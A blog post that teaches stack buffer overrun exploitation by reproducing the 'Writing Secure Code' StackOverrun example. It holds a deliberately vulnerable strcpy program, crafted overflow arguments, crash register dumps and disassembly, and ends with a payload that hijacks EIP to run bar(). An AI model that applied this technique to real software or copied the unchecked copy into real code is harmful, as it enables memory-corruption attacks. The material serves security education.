Stack buffer overrun example.
[migrated from my other blog]
I can never leave well-enough alone. If I read “this is how this works“ then it's only a matter of time before I write my own example to proof what I just read. This post is another example of that...
There is an example in Writing Secure Code (2nd) chapter 6 (Public Enemy #1: The Buffer Overrun) StackOverrun.c.
The code in the book is a more verbose version of this:
#include <stdio.h>
#include <string.h>
void foo(const char *input)
{
char buf[10];
strcpy(buf, input);
}
void bar(void)
{
printf("I've been hacked!\n");
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
// to keep it from being optimized away
bar();
}
else
{
foo(argv[1]);
}
return 0;
}
It helped the user out by printing the addresses of foo and bar as well as dumping the top of the stack in foo.
I didn’t want to take the easy way out (getting the stack dump for free) so here’s how I exploited the buffer overrun…
The first thing I needed to do was figure out if there was an overrun. We can tell from the code that there is one, but let’s prove it. So I created this program:
#include <cstdlib>
#include <cstring>
int main()
{
system("main.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}
When I run test.exe the spawned process main.exe crashes with this information:
Unhandled exception at 0x41414141 in main.exe: 0xC0000005: Access violation reading location 0x41414141.
And the registers look like:
EAX = 00000000 EBX = 7FFDF000 ECX = 00323100 EDX = FFE0D38B
ESI = 00000002 EDI = 00000000 EIP = 41414141 ESP = 0012FF68
EBP = 0012FFC0 EFL = 00000212
So we altered the EIP. That’s why our call stack looked like:
> 41414141()
kernel32.dll!77e814c7()
For those in the cheap seats – 0x41 is the ASCII code for ‘A’-so 0x41414141 is “AAAA”.
So now we know that there is an overflow and, more importantly, that the overflow is exploitable.
Now what I want to do is overflow the stack and call bar().
So the first thing I need to do is figure out where the overflow happens at. How many ‘A’s do we need to pump in to overflow and what is the boundary that gives us control of EIP?
I changed the test code to be:
#include <cstdlib>
#include <cstring>
int main()
{
system("main.exe AAAAAAAAAABBBBCCCCDDDD");
}
And now the crash is:
Unhandled exception at 0x43434242 in main.exe: 0xC0000005: Access violation reading location 0x43434242.
And the registers are:
EAX = 00000000 EBX = 7FFDF000 ECX = 00323100 EDX = FFE0D38B
ESI = 00000002 EDI = 00000000 EIP = 43434242 ESP = 0012FF68
EBP = 0012FFC0 EFL = 00000212
Ok- now we’re getting somewhere. 0x43434242 is “CCBB” – now we know the offset in our data to EIP.
Just to verify it I made this change and got the following results:
#include <cstdlib>
#include <cstring>
int main()
{
system("main.exe AAAAAAAAAABB1234");
}
Unhandled exception at 0x34333231 in main.exe: 0xC0000005: Access violation reading location 0x34333231.
EAX = 00000000 EBX = 7FFDF000 ECX = 00323100 EDX = FFE0D38B
ESI = 00000002 EDI = 00000000 EIP = 34333231 ESP = 0012FF68
EBP = 0012FFC0 EFL = 00000212
Good stuff. So now I want to change EIP to be the address of bar. So I need to figure out what the address of bar is.
So what do I know about bar? I know it prints a string literal. So to do that it needs to push the address of that string onto the stack.
So I turned to dumpbin.exe.
dumpbin.exe /ALL main.exe
Things I learned:
1040 entry point (00401040)
400000 image base (00400000 to 00403FFF)
(Entry point is helpful later when we’re looking at the disassembly and trying to find a good starting point)
And look at this:
00402050: 98210000 00000000 49277665 20626565 .!......I've bee
00402060: 6E206861 636B6564 210A0000 00000000 n hacked!.......
So the address of our string is 0x00402058.
So we take an asm dump of our application and we’re looking for something along the lines of:
push 402058h
And we found it here:
00401000 8B 44 24 04 mov eax,dword ptr [esp+4]
00401004 83 EC 0C sub esp,0Ch
00401007 83 F8 02 cmp eax,2
0040100A 74 14 je 00401020
0040100C 68 58 20 40 00 push 402058h
00401011 FF 15 50 20 40 00 call dword ptr ds:[402050h]
00401017 83 C4 04 add esp,4
0040101A 33 C0 xor eax,eax
0040101C 83 C4 0C add esp,0Ch
0040101F C3 ret
Ohh – it looks like it got inlined. Well, that’s ok. Same effect. I actually wasn’t expecting this (but I should have) – I should mention that my compile flags were:
cl /O2 /MD main.cpp
So I want to set the EIP to 0040100C – so I change my test application to be:
#include <cstdlib>
#include <cstring>
int main()
{
system("main.exe AAAAAAAAAABB\x0c\x10\x40");
}
Thank Intel for being little-endian! Since we need to reverse the bytes in the address the 0x00 gets nicely added by strcpy’s null terminating.
Now when I run the test application this is the result:
C:\temp\secure\stack1>test
I've been hacked!
Success!